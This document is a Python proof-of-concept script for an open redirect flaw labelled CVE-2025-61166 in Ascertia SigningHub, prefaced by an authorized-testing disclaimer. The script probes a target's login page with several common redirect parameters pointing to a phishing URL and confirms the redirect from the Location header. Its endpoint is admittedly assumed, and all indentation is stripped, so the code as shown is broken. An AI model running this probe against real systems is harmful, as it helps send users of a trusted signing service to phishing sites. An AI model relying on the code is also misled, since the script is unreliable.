The following code is for security research and authorized testing only.
python
# PoC for CVE-2025-61166 Open Redirect Vulnerability
# Target: Ascertia SigningHub User v10.0
import requests
def check_open_redirect(target_host, malicious_url):
# Common vulnerable parameter names for redirect functionality
params_list = ['returnUrl', 'redirect', 'next', 'url', 'return', 'goto']
for param in params_list:
# Construct the full URL
full_url = f"{target_host}/login" # Assuming login page is the entry point
payload = {param: malicious_url}
try:
# Send request, do not follow redirects automatically to check the Location header
response = requests.get(full_url, params=payload, timeout=5, allow_redirects=False)
# Check if the response is a 302/301 Redirect and the Location points to the malicious site
if response.status_code in [301, 302, 307, 308]:
location = response.headers.get('Location', '')
if malicious_url in location:
print(f"[+] Vulnerability confirmed using parameter '{param}'")
print(f"[+] Redirecting to: {location}")
return True
except requests.RequestException as e:
print(f"[-] Error connecting to {target_host}: {e}")
return False
if __name__ == "__main__":
target = "https://target-signinghub.com"
evil_site = "https://example.com/phishing"
check_open_redirect(target, evil_site)